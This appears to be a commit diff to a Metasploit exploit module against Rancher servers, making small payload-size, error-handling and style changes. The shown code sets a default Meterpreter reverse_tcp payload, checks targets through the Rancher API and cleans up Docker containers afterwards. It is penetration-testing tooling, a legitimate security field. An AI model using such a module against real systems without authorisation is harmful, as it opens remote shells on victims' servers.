Payload space, error handling and style"

Author: mpizala

modules/exploits/linux/http/rancher_server.rb

@@ -34,6 +34,7 @@ def initialize(info = {})
       ],
       'Platform'         => 'linux',
       'Arch'             => [ARCH_X64],
+      'Payload'          => { 'Space' => 65000 },
       'Targets'          => [[ 'Linux', {} ]],
       'DefaultOptions'   => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
       'DefaultTarget'    => 0,
@@ -65,6 +66,7 @@ def del_container(rancher_container_id, container_id)
       'ctype'   => 'application/json',
       'headers' => { 'Accept' => 'application/json' }
     )
+
     return vprint_good('The docker container has been removed.') if res && res.code == 200
 
     print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
@@ -118,12 +120,12 @@ def check
       return Exploit::CheckCode::Unknown
     end
 
-    if res.code == 401 and res.headers.to_json.include? 'X-Rancher-Version'
+    if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
       print_error('Authorization is required. Provide valid Rancher API Keys.')
       return Exploit::CheckCode::Detected
     end
 
-    if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
+    if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
       target_found = false
       target_selected = false
 
@@ -213,7 +215,7 @@ def exploit
         'ctype'   => 'application/json',
         'headers' => { 'Accept' => 'application/json' }
       )
-      next unless res.code == 200 and res.body.include? 'stopped'
+      next unless res && res.code == 200 && res.body.include?('stopped')
 
       vprint_good('The docker container has stopped, now trying to remove it')
       del_container(rancher_container_id, container_id)